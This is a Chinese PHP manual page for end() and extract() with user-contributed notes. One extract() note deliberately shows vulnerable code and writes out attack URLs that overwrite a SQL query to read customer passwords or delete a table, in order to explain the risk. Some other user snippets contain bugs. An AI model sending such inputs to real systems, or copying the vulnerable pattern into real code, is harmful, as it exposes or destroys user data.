(PHP 4, PHP 5, PHP 7, PHP 8)

end — 将数组的内部指针指向最后一个单元

说明

end(array|object &$array): mixed

end() 将 array 的内部指针移动到最后一个单元并返回其值。

参数

array

这个数组。 该数组是通过引用传递的，因为它会被这个函数修改。 这意味着你必须传入一个真正的变量，而不是函数返回的数组，因为只有真正的变量才能以引用传递。

返回值

返回最后一个元素的值，或者如果是空数组则返回 false。

更新日志

版本 | 说明
8.1.0 | 弃用在 object 上调用此函数。 要么首先使用 get_mangled_object_vars() 将 object 转换为 array，要么使用实现 Iterator 的类提供的方法，例如 ArrayIterator。
7.4.0 | SPL 类的实例现在被视为没有属性的空对象，而不是调用与此函数同名的 Iterator 方法。

示例

Example #1 end() 例子

<?php

$fruits = array('apple', 'banana', 'cranberry');
echo end($fruits); // cranberry

?>

参见

  • current() - 返回数组中的当前值
  • each() - 返回数组中当前的键／值对并将数组指针向前移动一步
  • prev() - 将数组的内部指针倒回一位
  • reset() - 将数组的内部指针指向第一个单元
  • next() - 将数组中的内部指针向前移动一位
  • array_key_last() - 获取一个数组的最后一个键值

User Contributed Notes

aaaaa976 at gmail dot com 16-Nov-2018 11:12
To get the first element:

    // Get first item.
    foreach ($array as $item) {
        $first = $item;
        break;
    }
    // $first will have the first element.
Aleksandr 28-Apr-2018 04:17
<?php
$A=[1];
print_r($A);
end($A[5]);
print_r($A);
?>

Array
(
    [0] => 1
)
Array
(
    [0] => 1
    [5] =>
)
Jacob 15-Jul-2017 05:55
Attempting to get the value of a key from an empty array through end() will result in NULL instead of throwing an error or warning becuse end() on an empty array results in false:

<?php

$a = ['a' => ['hello' => 'a1','world' => 'a2'],
      'b' => ['hello' => 'b1','world' => 'b2'],
      'c' => ['hello' => 'c1','world' => 'c2']
    ];
$b = [];

var_dump(end($a)['hello']);
var_dump(end($b)['hello']);
var_dump(false['hello']);

?>

Results in:

string(2) "c1"
NULL
NULL
Omolewa stephen 24-Oct-2016 06:16
I found using pathinfo very useful in getting extension of  a file.
<? Php
  $filename = dictionary.txt;
   $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)) ;

echo $ext; // txt
?>
goran 14-May-2016 05:16
In case you need add separator at end

$numbers = array('1','2','3','4');
        foreach ($numbers as $number){
            echo $number;
            if (end($numbers) != $number){
                echo ', ';
            }
        }
ivijan dot stefan at gmail dot com 08-May-2014 04:47
I found that the function end() is the best for finding extensions  on file name. This function cleans backslashes and takes the extension of a file.

<?php
private function extension($str){
    $str=implode("",explode("\\",$str));
    $str=explode(".",$str);
    $str=strtolower(end($str));
     return $str;
}

// EXAMPLE:
$file='name-Of_soMe.File.txt';
echo extension($file); // txt
?>

Very simple.
Jason 18-Mar-2013 10:37
$filename = 'somefile.jpg';

php v5.4 does not support the following statement.
echo end(explode(".", $filename)); // return jpg string

instead you have to split into 2 statements
$file = explode(".", $filename);
echo end ($file);
jorge at REMOVETHIS-2upmedia dot com 01-Mar-2012 01:20
If all you want is the last item of the array without affecting the internal array pointer just do the following:

<?php

function endc( $array ) { return end( $array ); }

$items = array( 'one', 'two', 'three' );
$lastItem = endc( $items ); // three
$current = current( $items ); // one
?>

This works because the parameter to the function is being sent as a copy, not as a reference to the original variable.
franz at develophp dot org 01-Dec-2010 03:06
It's interesting to note that when creating an array with numeric keys in no particular order, end() will still only return the value that was the last one to be created. So, if you have something like this:

    <?php
    $a = array();
    $a[1] = 1;
    $a[0] = 0;
    echo end($a);
    ?>

This will print "0".
laurence at crazypillstudios dot com 07-Jun-2010 02:12
this is a function to move items in an array up or down in the array. it is done by breaking the array into two separate arrays and then have a loop creates the final array adding the item we want to move when the counter is equal to the new position we established the array key, position and direction were passed via a query string

<?php
//parameters
//$array- the array you are modifying
//$keytomove - the key of the item you wish to move
//$pos - the current position of the item: used a count($array) function
//and then loop with incrementing integer to add the position to the up //or down button
//$dir - the direction you want to move it - "up"/"dn"

function change_pos($array, $keytomove, $pos, $dir){
    //count the original number of rows
    $count = count($array);
    //set the integer we will use to place the moved item
    if($dir=="up"){
        if($pos==1){
            //if the item is already first and we try moving it up
            //we send it to the end of the array
            $change = $count;
        }else{
            //anywhere else it just moves back one closer to the start of the array
            $change = $pos-1;
        }
    }
    //do the same for the down button
    if($dir=="dn"){
        if($pos==$count){
            $change = 1;
        }else{
            $change = $pos+1;
        }
    }
    //copy the element that you wish to move
    $move = $array[$keytomove];
    //delete the original from the main array
    unset($array[$keytomove]);
    //create an array of the names of the values we
    //are not moving
    $preint = 1;
    foreach($array as $c){
        $notmoved["{$preint}"] = $c['name'];
    $preint++;
    }
    //loop through all the elements
    $int = 1;
    while($int<=$count){
        //dynamically change the key of the unmoved item as we increment the counter
        $notmovedkey = $notmoved["$int"];
        //when the counter is equal to the position we want
        //to place the moved entry we pump it into a new array
        if($int==$change){
            $neworder["{$keytomove}"] = $move;
        }
        //add all the other array items if the position number is not met and
        //resume adding them once the moved item is written
        if($contkey!=""){
            $neworder["{$notmovedkey}"] = $array["{$notmovedkey}"];
        }
    $int++;
    }

    return($neworder);
}
?>

This is not too elegant but it works.
Sam Yong - hellclanner at live dot com 23-Aug-2009 05:05
Take note that end() does not recursively set your multiple dimension arrays' pointer to the end.

Take a look at the following:
<?php

// create the array for testing
$a = array();
$i = 0;
while($i++ < 3){
$a[] = array(dechex(crc32(mt_rand())),dechex(crc32('lol'.mt_rand())));
}

// show the array tree
echo '<pre>';var_dump($a);

// set the pointer of $a to the end
end($a);

// get the current element of $a
var_dump(current($a));
// get the current element of the current element of $a
var_dump(current(current($a)));

?>

You will notice that you probably get something like this:

array(3) {
  [0]=>
  array(2) {
    [0]=>
    string(8) "764d8d20"
    [1]=>
    string(8) "85ee186d"
  }
  [1]=>
  array(2) {
    [0]=>
    string(8) "c8c72466"
    [1]=>
    string(8) "a0fdccb2"
  }
  [2]=>
  array(2) {
    [0]=>
    string(8) "3463a31b"
    [1]=>
    string(8) "589f6b63"
  }
}

array(2) {
  [0]=>
  string(8) "3463a31b"
  [1]=>
  string(8) "589f6b63"
}

string(8) "3463a31b"

The array elements' pointer are still at the first one as current. So do take note.
jasper at jtey dot com 11-Jul-2006 12:48
This function returns the value at the end of the array, but you may sometimes be interested in the key at the end of the array, particularly when working with non integer indexed arrays:

<?php
// Returns the key at the end of the array
function endKey($array){
 end($array);
 return key($array);
}
?>

Usage example:
<?php
$a = array("one" => "apple", "two" => "orange", "three" => "pear");
echo endKey($a); // will output "three"
?>
ken at expitrans dot com 27-Oct-2005 09:02
Please note that from version 5.0.4 ==> 5.0.5 that this function now takes an array. This will possibly break some code for instance:

<?php

echo ">> ".end(array_keys(array('x' => 'y')))."\n";

?>

which will return "Fatal error: Only variables can be passed by reference" in version <= 5.0.4 but not in 5.0.5.

If you run into this problem with nested function calls, then an easy workaround is to assign the result from array_keys (or whatever function) to an intermediary variable:

<?php

$x = array_keys(array('x' => 'y'));
echo ">> ".end($x)."\n";

?>
28-Aug-2002 06:34
If you need to get a reference on the first or last element of an array, use these functions because reset() and end() only return you a copy that you cannot dereference directly:

<?php
function first(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
reset($array);
return &$array[key($array)];
}

function last(&$array) {
if (!is_array($array)) return &$array;
if (!count($array)) return null;
end($array);
return &$array[key($array)];
}
?>
28-Aug-2002 06:17
When adding an element to an array, it may be interesting to know with which key it was added. Just adding an element does not change the current position in the array, so calling key() won't return the correct key value; you must first position at end() of the array:

<?php
function array_add(&$array, $value) {
$array[] = $value; // add an element
end($array); // important!
return key($array);
}
?>


从数组中将变量导入到当前的符号表

  • ? end
  • in_array ?
  • PHP Manual
  • 数组 函数
  • 从数组中将变量导入到当前的符号表

extract

(PHP 4, PHP 5, PHP 7, PHP 8)

extract — 从数组中将变量导入到当前的符号表

说明

extract(array &$array, int $flags = EXTR_OVERWRITE, string $prefix = ""): int

本函数用来将变量从数组中导入到当前的符号表中。

检查每个键名看是否可以作为一个合法的变量名，同时也检查和符号表中已有的变量名的冲突。

Warning

不要对不可信的数据使用 extract()，类似用户输入 （例如 $_GET、$_FILES）。

参数

array

一个关联数组。此函数会将键名当作变量名，值作为变量的值。 对每个键／值对都会在当前的符号表中建立变量，并受到 flags 和 prefix 参数的影响。

必须使用关联数组，数字索引的数组将不会产生结果，除非用了 EXTR_PREFIX_ALL 或者 EXTR_PREFIX_INVALID。

flags

对待非法／数字和冲突的键名的方法将根据取出标记 flags 参数决定。可以是以下值之一：

EXTR_OVERWRITE
如果有冲突，覆盖已有的变量。
EXTR_SKIP
如果有冲突，不覆盖已有的变量。
EXTR_PREFIX_SAME
如果有冲突，在变量名前加上前缀 prefix。
EXTR_PREFIX_ALL
给所有变量名加上前缀 prefix。
EXTR_PREFIX_INVALID
仅在非法／数字的变量名前加上前缀 prefix。
EXTR_IF_EXISTS
仅在当前符号表中已有同名变量时，覆盖它们的值。其它的都不处理。 举个例子，以下情况非常有用：定义一些有效变量，然后从 $_REQUEST 中仅导入这些已定义的变量。
EXTR_PREFIX_IF_EXISTS
仅在当前符号表中已有同名变量时，建立附加了前缀的变量名，其它的都不处理。
EXTR_REFS
将变量作为引用提取。这有力地表明了导入的变量仍然引用了 array 参数的值。可以单独使用这个标志或者在 flags 中用 OR 与其它任何标志结合使用。

如果没有指定 flags，则被假定为 EXTR_OVERWRITE。

prefix

注意 prefix 仅在 flags 的值是 EXTR_PREFIX_SAME，EXTR_PREFIX_ALL，EXTR_PREFIX_INVALID 或 EXTR_PREFIX_IF_EXISTS 时需要。 如果附加了前缀后的结果不是合法的变量名，将不会导入到符号表中。前缀和数组键名之间会自动加上一个下划线。

返回值

返回成功导入到符号表中的变量数目。

示例

Example #1 extract() 例子

extract() 的一种可能用法是将 wddx_deserialize() 返回的结合数组中的内容导入到符号表变量中去。

<?php

/* 假定 $var_array 是 wddx_deserialize 返回的数组*/

$size = "large";
$var_array = array("color" => "blue",
"size" => "medium",
"shape" => "sphere");
extract($var_array, EXTR_PREFIX_SAME, "wddx");

echo "$color, $size, $shape, $wddx_size\n";

?>

以上示例会输出：

blue, large, sphere, medium

$size 没有被覆盖，因为指定了 EXTR_PREFIX_SAME，这使得 $wddx_size 被建立。如果指定了 EXTR_SKIP，则 $wddx_size 也不会被建立。EXTR_OVERWRITE 将使 $size 的值为"medium"，EXTR_PREFIX_ALL 将建立新变量 $wddx_color，$wddx_size 和 $wddx_shape。

注释

Warning

不要对不能信任的数据使用 extract()，例如用户的输入（$_GET， $_FILES...）。 如果这样做，要确保使用不会覆盖的 flags 值，例如 EXTR_SKIP，并且要留意应该按照 variables_order 在 php.ini 里 定义的顺序来提取。

参见

  • compact() - 建立一个数组，包括变量名和它们的值
  • list() - 把数组中的值赋给一组变量

User Contributed Notes

darrenforster99 at gmail dot com 22-Apr-2021 07:38
In response to Dan O'Donnell's note:

"Presumably one easy way of dealing with this security issue is to use the EXTR_IF_EXISTS flag and make sure"

Not necessarily - even using the EXTR_IF_EXISTS flag could be extremely dangerous - imagine this code running...

<?php

global $sql ;

function runSql ()
{
  $result = $conn->query($sql);
  $conn-> close();
  return $result;
}

function extractGet ()
{
  $name = '' ;
  $address = '' ;
  foreach ( $_GET as $key => $value )
    $_GET[$key] = urldecode ( $value ) ;
  extract($_GET,EXTR_IF_EXISTS);
  $sql = str_replace ( '{NAME}', $name, $sql ) ;
  $sql = str_replace ( '{ADDRESS}', $address, $sql ) ;
}

function outputResult ( $res )
{
  echo '<pre>'.print_r ( $res->fetch_array(MYSQLI_NUM) ).'</pre>' ;
}

$sql = 'SELECT postcode FROM Customers WHERE name={NAME} AND address={ADDRESS}';
extractGet () ;
$res = runSql () ;
outputResult ( $res ) ;
?>

Now can you see a massive security issue here...

seems all well and good if we had a url like

mycode.php?name=joe%20bloggs&address=20%20Any%20Street

as that would specifically find joe bloggs of 20 any street.

however what if someone typed in

mycode.php?sql=SELECT%20password%20FROM%20Customers

or even worse

mycode.php?sql=DELETE%20from%20Customers

The problem here is that even though as far as you're aware you defined both name and address as the only two empty variables within that function - you may have forgotten about global variables, and these global variables could cause major security issues

In the example above $sql is defined as "SELECT postcode FROM Customers WHERE name={NAME} AND address={ADDRESS}" which seems all well and good, and safe, and then later on str_replace in the extractGet function replaces {NAME} and {ADDRESS} with the name and address variables from $_GET - but if GET contains an SQL variable then that would overwrite the global $sql variable before the str_replace function - and if the str_replace function finds no matches it just returns the original string - in the above two examples the SQL string would be "SELECT password FROM Customers" which in the example outputResult just prints the data retrieved from the database and so in this stage it could print all the customers passwords (hopefully encrypted!) to the screen (oops!) or in the second example the SQL string would be "DELETE from Customers" - with no WHERE clause that would delete all the data from the Customers table and of course a combination of

SELECT table_name FROM information_schema.tables

and

DROP TABLE <table_name>

could be a real disaster!

Of course, this is only a basic example, but it could be quite easy to forget about global variables and these global variables could quite easily be used with extract to cause serious security risks if GET, REQUEST or POST is sent to extract!
amolocaleb at gmail dot com 26-Jul-2018 05:14
If an object is typecasted into an array and "extracted",only the public properties will be accessible.Methods are of course omitted.
<?php
class Test{
    public $name = '';

    protected $age = 10;

    public $status = 'disabled';

    private $isTrue = false;

    public function __construct()
    {
        $this->name = 'Amolo';
        $this->status = 'active';
    }

    public function getName()
    {
        return $this->name;
    }

    public function getAge()
    {
        return $this->age;
    }

    public function getStatus()
    {
        return $this->status;
    }

}

$obj = (array) new Test();
var_dump($obj);
/* array(4) { ["name"]=> string(5) "Amolo" ["*age"]=> int(10) ["status"]=> string(6) "active" ["TestisTrue"]=> bool(false) } */
extract((array)new Test());
echo  $name; //Amolo
echo  $status; //active
echo $age;//Notice: Undefined variable: age
echo $isTrue;//Notice: Undefined variable: isTrue
phatsk+php at gmail dot com 18-Jun-2018 06:59
Using extract's return parameter can lead to unintended results, particularly with EXTR_REFS:

<?php

$my_data = [
    'count' => 15,
    'name' => 'foo',
];

$count = extract( $my_data, EXTR_REFS );

echo $my_data['count']; // 2, not 15.
mrkhoa99 at gmail dot com 29-May-2018 03:29
We can use extract () function for Template Engine:

<?php
#Template.php

class Template
{
    protected $viewVars;

    public function renderPage($tpl)
    {
        ob_start();
        extract($this->viewVars, EXTR_SKIP);
        include $tpl;
        return ob_end_flush();
    }

    public function assign($arr)
    {
        foreach ($arr as $key => $value) {
            $this->viewVars[$key] = $value;
        }
        return $this;
    }
}

$template = new Template();
$template->assign(
   [ 'pageHeader' => 'Page Header', 'content' => 'This is the content page']
);
$template->renderPage('tpl.php');

#tpl.php

<h1><?= $pageHeader; ?></h1>
<p><?= $content ;?></p>

Output:

Page Header
This is the content page
bob 18-Jan-2015 08:35
Note that extract() will only create or overwrite variables in the current scope, so
<?
function test(){
 $a=Array('b'=>1,'c'=>2);
 extract($a);
}
test();
exit("$b");
?>
will produce no output, whereas
<?
function test(){
 global $b;
 $a=Array('b'=>1,'c'=>2);
 extract($a);
}
test();
exit("$b");
?>
will output 1.
dmikam 18-Sep-2014 10:18
I have made some tests to compare the speed of next constructions:
<?php

extract($ARRAY);

// vs.

foreach($ARRAY as $key=>$value)
    $$key = $value;
?>

Surprisingly for me extract is 20%-80% slower then foreach construction. I don't really understand why, but it's so.
CertaiN 10-Jan-2014 04:38
[New Version]

Example Usage:
<?php
$_GET['A']['a'] = '  CORRECT(including some spaces)    ';
$_GET['A']['b'] = '  CORRECT(including some spaces)    ';
$_GET['A']['c'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['A']['d']['invalid_structure'] = 'INVALID';

$_GET['B']['a'] = '  CORRECT(including some spaces)    ';
$_GET['B']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['B']['c']['invalid_structure'] = 'INVALID';
$_GET['B']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['C']['a'] = '  CORRECT(including some spaces)    ';
$_GET['C']['b'] = "Invalid UTF-8 sequence: \xe3\xe3\xe3";
$_GET['C']['c']['invalid_structure'] = 'INVALID';
$_GET['C']["Invalid UTF-8 sequence: \xe3\xe3\xe3"] = 'INVALID';

$_GET['unneeded_item'] = 'UNNEEDED';

var_dump(filter_struct_utf8(INPUT_GET, array(
    'A' => array(
        'a' => '',
        'b' => FILTER_STRUCT_TRIM,
        'c' => '',
        'd' => '',
    ),
    'B' => FILTER_STRUCT_FORCE_ARRAY,
    'C' => FILTER_STRUCT_FORCE_ARRAY | FILTER_STRUCT_TRIM,
)));
?>

Example Result:
array(3) {
  ["A"]=>
  array(4) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(30) "CORRECT(including some spaces)"
    ["c"]=>
    string(0) ""
    ["d"]=>
    string(0) ""
  }
  ["B"]=>
  array(3) {
    ["a"]=>
    string(36) "  CORRECT(including some spaces)    "
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
  ["C"]=>
  array(3) {
    ["a"]=>
    string(30) "CORRECT(including some spaces)"
    ["b"]=>
    string(0) ""
    ["c"]=>
    string(0) ""
  }
}
CertaiN 10-Jan-2014 04:37
[New Version]
This function is very useful for filtering complicated array structure.
Also, Some integer bitmasks and invalid UTF-8 sequence detection are available.

Code:
<?php
/**
 * @param  integer $type    Constant like INPUT_XXX.
 * @param  array   $default Default structure of the specified super global var.
 *                          Following bitmasks are available:
 *  + FILTER_STRUCT_FORCE_ARRAY - Force 1 dimensional array.
 *  + FILTER_STRUCT_TRIM        - Trim by ASCII control chars.
 *  + FILTER_STRUCT_FULL_TRIM   - Trim by ASCII control chars,
 *                                full-width and no-break space.
 * @return array            The value of the filtered super global var.
 */
define('FILTER_STRUCT_FORCE_ARRAY', 1);
define('FILTER_STRUCT_TRIM', 2);
define('FILTER_STRUCT_FULL_TRIM', 4);
function filter_struct_utf8($type, array $default) {
    static $func = __FUNCTION__;
    static $trim = "[\\x0-\x20\x7f]";
    static $ftrim = "[\\x0-\x20\x7f\xc2\xa0\xe3\x80\x80]";
    static $recursive_static = false;
    if (!$recursive = $recursive_static) {
        $types = array(
            INPUT_GET => $_GET,
            INPUT_POST => $_POST,
            INPUT_COOKIE => $_COOKIE,
            INPUT_REQUEST => $_REQUEST,
        );
        if (!isset($types[(int)$type])) {
            throw new LogicException('unknown super global var type');
        }
        $var = $types[(int)$type];
        $recursive_static = true;
    } else {
        $var = $type;
    }
    $ret = array();
    foreach ($default as $key => $value) {
        if ($is_int = is_int($value)) {
            if (!($value | (
                FILTER_STRUCT_FORCE_ARRAY |
                FILTER_STRUCT_FULL_TRIM |
                FILTER_STRUCT_TRIM
            ))) {
                $recursive_static = false;
                throw new LogicException('unknown bitmask');
            }
            if ($value & FILTER_STRUCT_FORCE_ARRAY) {
                $tmp = array();
                if (isset($var[$key])) {
                    foreach ((array)$var[$key] as $k => $v) {
                        if (!preg_match('//u', $k)){
                            continue;
                        }
                        $value &= FILTER_STRUCT_FULL_TRIM | FILTER_STRUCT_TRIM;
                        $tmp += array($k => $value ? $value : '');
                    }
                }
                $value = $tmp;
            }
        }
        if ($isset = isset($var[$key]) and is_array($value)) {
            $ret[$key] = $func($var[$key], $value);
        } elseif (!$isset || is_array($var[$key])) {
            $ret[$key] = null;
        } elseif ($is_int && $value & FILTER_STRUCT_FULL_TRIM) {
            $ret[$key] = preg_replace("/\A{$ftrim}++|{$ftrim}++\z/u", '', $var[$key]);
        } elseif ($is_int && $value & FILTER_STRUCT_TRIM) {
            $ret[$key] = preg_replace("/\A{$trim}++|{$trim}++\z/u", '', $var[$key]);
        } else {
            $ret[$key] = preg_replace('//u', '', $var[$key]);
        }
        if ($ret[$key] === null) {
            $ret[$key] = $is_int ? '' : $value;
        }
    }
    if (!$recursive) {
        $recursive_static = false;
    }
    return $ret;
}
?>
FredLawl 13-May-2013 02:56
It is possible to use this as a way to create public attributes for a class.

<?php
class Foo {

  public function __construct ($array) {

      extract($array, EXTR_REFS);
      foreach ($array as $key => $value) {
          $this->$key = $$key;
          // Do: $this->key = $key; if $key is not a string.
      }

  }

}

$array = array(
    'valueOne'      => 'Test Value 1',
    'valueTwo'      => 'Test Value 2',
    'valueThree'    => 'Test Value 3'
);

$foo = new Foo($array);

// Works
echo $foo->valueOne; // Test Value 1
echo $foo->valueTwo; // Test Value 2

// Does not work!
echo $foo::$valueOne; // Fatal error:  Access to undeclared static property: Test::$valueOne
?>
dotslash.lu at gmail.com 29-Apr-2013 12:55
You can't extract a numeric indexed array(e.g. non-assoc array).
<?php
$a = array(
  1,
  2
);
extract($a);
var_dump(${1});
?>

result:
PHP Notice:  Undefined variable: 1 in /Users/Lutashi/t.php on line 7

Notice: Undefined variable: 1 in /Users/Lutashi/t.php on line 7
NULL
Robc 01-Nov-2011 06:30
When extracting from a row after a database query using for example:

$row = mysql_fetch_array($result, MYSQL_ASSOC)
extract($row);

I find that the resultant variables may not match the variable type in the database.  In particular I have found integers in the database may gettype() to string on the extracted variable.
Rodrigo 15-Jun-2010 09:41
Here's a way to use extract in $_FILES arrays without using register_gloabals on.

I started to use extract a few weeks ago, and my codes hasn't been so clean since then. The use of the arrays $_POST and $_GET is ok, but one missed doublequote causes a lot of trouble.

Besides I teach PHP in a school, and this function has made my examples easier.

<?php
if(isset($_FILES["file"])){
    extract($_FILES);
    extract($file);
    echo $name."<br>";
    echo $tmp_name."<br>";
    echo $size."<br>";
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <p>
    <input type="file" name="file">
</p>
  <p>
    <input type="submit" name="Submit" value="Enviar">
</p>
</form>
</body>
</html>

Hope this can help anyone.
auto493097 at hushmail dot com 23-Feb-2010 10:07
I use XDebug with NetbeansIDE to for analyzing and developing PHP Code. When debugging an extract statement no new variables appeared in the variable's list. Although all variables created by extract could be examined by explicit watch items and single variables appeared as soon as an PHP script makes use of them I am not sure weather it is a wrong configuration, a feature or a bug in XDebug.
danbettles at yahoo dot co dot uk 24-Aug-2009 04:04
When using EXTR_PREFIX_ALL - and probably all the other EXTR_PREFIX_* constants - and a numerically-indexed array, extract() will add an underscore ("_") between the prefix and the index.

<?php

extract(array('foo', 'bar'), EXTR_PREFIX_ALL, 'var');

print_r(get_defined_vars());  // Reveals $var_0 = 'foo' and $var_1 = 'bar'
?>
benjaminATwebbutvecklarnaDOTse 16-Mar-2008 07:15
In the meantime, I'm using this:

// extract alternative
# extracts variables where new value is above the threshold or if old value is on or below the threshold (or var is not defined)
# an associative array is obviously the sane thing to pass
#
# I am absolutely certain someone will find obvious problems or errors with this
# I haven't even tried to compare other values than 0 so if you need to do that and surely finds obvious flaws,
# please mail me, I'd really like to know.
# benjaminATwebbutvecklarnaDOTse

// usage example:
# thrextract(mysql_fetch_assoc(mysql_query("SELECT preset_this,preset_that FROM site_preset WHERE ID = $site_id")));
# thrextract(mysql_fetch_assoc(mysql_query("SELECT preset_this,preset_that FROM category_preset WHERE ID = $category_id")));

function thrextract($arr,$thr = 0){
    foreach($arr as $key => $var){
        global $$key;
        if($var > $thr or $$key <= $thr) $$key = $var;
    }
}
benjaminATwebbutvecklarnaDOTse 16-Mar-2008 06:19
Re: anon at anon dot org, about extract() and null values

Personally I've found use extracting multiple resultsets from db where the latter would overwrite the previous when a variable is not null ( and optionally if its not >0 )

It would be useful if $extract_type was extended on top of these two:

EXTR_OVERWRITE
EXTR_SKIP

with something like this:

EXTR_OVERWRITE_NULL
 - If there is a collision, overwrite the existing variable if it is null

EXTR_OVERWRITE_0
 - Same thing but == 0 or null

EXTR_SKIP_NULL
 - If there is a collision, skip the new variable if the existing is not null

EXTR_SKIP_0
 - Same thing but == 0 or null

Those ought to cover a few good cases that aren't covered now.
Hayley Watson 13-Mar-2008 03:18
Dan O'Donnell's suggestion needs a third requirement to work as described:

c) No other variables are defined - especially variables that contain potentially sensitive information.

Without that condition the difference between extract() and assigning variables by hand (and the resulting security implications) should be obvious.

The only valid security step there is (b) - but you should be doing that anyway.
Dan O'Donnell 21-Apr-2007 12:25
Following up on ktwombley at gmail dot com's post:

Presumably one easy way of dealing with this security issue is to use the EXTR_IF_EXISTS flag and make sure

a) your define acceptable input variables beforehand (i.e. as empty variables)
b) Sanitise any user input to avoid unacceptable variable content.

If you do these two things, then I'm not sure I see the difference between extract($_REQUEST,EXTR_IF_EXISTS); and assigning each of the variables by hand.

I'm not talking here about the idea of storing the variables in a database, just the immediately necessary steps to allow you to use extract on REQUEST arrays with relative safety.
Dutchdavey 13-Mar-2007 12:26
I would draw your attention to the user note at the very end of this page regarding PREFIXES. The user points out that php adds a '_' to your prefixes.
ktwombley at gmail dot com 31-Aug-2006 10:05
It's really easy to open gaping security holes using extract() on $_REQUEST, $_GET, etc. You have to be really sure of what you're doing, and use the proper flags on extract() to avoid clobbering important variables.

For instance, the submission by kake26 at gmail dot com will not only perfectly emulate register globals (that's bad), but it'll store it in a database and recall the same variables every time the script runs (essentially allowing an attacker to attack your script every time it runs via one attack). Oops!

To fix it, you'd have to get creative with flags. Maybe you could use EXTR_PREFIX_ALL instead of EXTR_OVERWRITE, for example. Of course, you should also sanitize the form elements to ensure there's no php code in them, and also to make sure any very important variables aren't in the form data. (like the classic $is_admin = true attack)
nicolas zeh 16-Mar-2006 09:24
This function provides exactly the same functionality as extract except that a parameter was added defining the extract target.
This function can be used if your PHP installation does not support the required Flags or more important if you would like to extract arrays to another destination as to $GLOBALS, i.e. other arrays or objects.
The only difference to extract is that extract_to moves the array pointer of $arr to the end as $arr is passed by reference to support the EXTR_REFS flag.

<?php
    if( !defined('EXTR_PREFIX_ALL') ) define('EXTR_PREFIX_ALL', 3);
    if( !defined('EXTR_PREFIX_INVALID') ) define('EXTR_PREFIX_INVALID', 4);
    if( !defined('EXTR_IF_EXISTS') ) define('EXTR_IF_EXISTS', 5);
    if( !defined('EXTR_PREFIX_IF_EXISTS') ) define('EXTR_PREFIX_IF_EXISTS', 6);
    if( !defined('EXTR_REFS') ) define('EXTR_REFS', 256);

    function extract_to( &$arr, &$to, $type=EXTR_OVERWRITE, $prefix=false ){

        if( !is_array( $arr ) ) return trigger_error("extract_to(): First argument should be an array", E_USER_WARNING );

        if( is_array( $to ) ) $t=0;
        else if( is_object( $to ) ) $t=1;
        else return trigger_error("extract_to(): Second argument should be an array or object", E_USER_WARNING );

        if( $type==EXTR_PREFIX_SAME || $type==EXTR_PREFIX_ALL || $type==EXTR_PREFIX_INVALID || $type==EXTR_PREFIX_IF_EXISTS )
            if( $prefix===false ) return trigger_error("extract_to(): Prefix expected to be specified", E_USER_WARNING );
            else $prefix .= '_';

        $i=0;
        foreach( $arr as $key=>$val ){

            $nkey = $key;
            $isset = $t==1 ? isset( $to[$key] ) : isset( $to->$key );

            if( ( $type==EXTR_SKIP && $isset )
                || ( $type==EXTR_IF_EXISTS && !$isset ) )
                    continue;

            else if( ( $type==EXTR_PREFIX_SAME && $isset )
                || ( $type==EXTR_PREFIX_ALL )
                || ( $type==EXTR_PREFIX_INVALID && !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $key ) ) )
                    $nkey = $prefix.$key;

            else if( $type==EXTR_PREFIX_IF_EXISTS )
                if( $isset ) $nkey = $prefix.$key;
                else continue;

            if( !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $nkey ) ) continue;

            if( $t==1 )
                if( $type & EXTR_REFS ) $to->$nkey = &$arr[$key];
                else $to->$nkey = $val;
            else
                if( $type & EXTR_REFS ) $to[$nkey] = &$arr[$key];
                else $to[$nkey] = $val;

            $i++;
        }

        return $i;
    }

    // e.g.:
    extract_to( $myarray, $myobject, EXTR_IF_EXISTS );
?>
owk dot ch199_ph at gadz dot org 08-Mar-2006 04:21
And if you want with PHP 5 an easy way to extract $V by reference, try this :
<?php
    foreach ($V as $k => &$v) {
        $$k =& $v;
    }
?>
It can be used to create special kind of "free args" functions that let you choose when you call them the way you send variables, and which ones. They are moreover very fast to call thanks to references :
<?php
    function free_args (&$V) {
        foreach ($V as $k => &$v) {
            $$k =& $v;
        }
        unset ($k);  unset ($v);  unset ($V);

        // be careful that if you need to extract $k, $v or $V variables you should find other names for them in the lines above (ie. $__k, $__v and $__V)
    }

    $huge_text = '...';

    $a = array ('arg1' => 'val1', 'arg2' => &$huge_text); // in this call, only $arg2 will be a true reference in the function
    free_args ($a);
?>
Be warned that you can't write : "<?php free_args (array ('arg1' => 'val1')); ?>" because the array can't be referenced by the function, as it's not yet created when the function starts.
moslehi<atsign>gmail<d0t>c0m 20-Jan-2006 01:32
Experimentally I found that calling extract() also shows the number of keys if the key is set and is not numeric ! Maybe there was a better definition than mine  . Please have a look to this scripts :

<?PHP
$var["i"] = "a";
$var["j"] = "b";
$var["k"] = 1;
echo extract($var); // returns 3
?>

<?PHP
$var2["i"] = "a";
$var2[2] = "b";
$var2[] = 1;
echo extract($var2); // returns 1
?>

(Arash Moslehi)
Csaba at alum dot mit dot edu 27-Nov-2005 11:41
Sometimes you may want to extract only a named subset of the key/value pairs in an array.  This keeps things more orderly and could prevent an unrelated variable from getting clobbered from an errant key.  For example,

$things = 'unsaid';
$REQUEST = array(He=>This, said=>1, my=>is, info=>2, had=>a,
                 very=>3, important=>test, things=>4);
$aVarToExtract = array(my, important, info);
extract (array_intersect_key ($REQUEST, array_flip($aVarToExtract)));

will extract
$my = 'is';
$important = 'test';
$info = 2;

but will leave certain
$things = 'unsaid'

Csaba Gabor from Vienna
NB.  Of course the composite request coming in from a web page is in $_REQUEST.
anon at anon dot org 30-May-2005 12:02
A warning about extract() and null values.

